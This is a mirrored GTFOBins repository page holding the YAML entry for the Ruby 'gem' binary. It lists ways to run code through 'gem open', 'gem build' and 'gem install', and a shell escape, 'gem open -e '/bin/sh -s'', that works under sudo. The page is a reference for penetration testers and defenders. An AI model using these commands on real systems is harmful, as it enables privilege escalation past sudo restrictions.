1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-08 06:56:15 +01:00
GTFOBins.github.io/_gtfobins/gem
Andrea Cardaci 450efe76d4 Make the contexts field mandatory
Rationale being that:

- it's easy to just forget it;

- entries that only have the unprivileged context are quite rare.
2026-01-13 19:53:07 +01:00

33 lines
689 B
Plaintext

---
functions:
inherit:
- code: |-
gem open debug
comment: |-
This requires the name of an installed gem to be provided, e.g., `debug` is usually installed.
contexts:
sudo:
unprivileged:
from: vi
- code: |-
gem build /path/to/script.rb
contexts:
sudo:
unprivileged:
from: ruby
- code: |-
gem install --file /path/to/script.rb
contexts:
sudo:
unprivileged:
from: ruby
shell:
- code: |-
gem open -e '/bin/sh -s' debug
comment: |-
This requires the name of an installed gem to be provided, e.g., `debug` is usually installed.
contexts:
sudo:
unprivileged:
...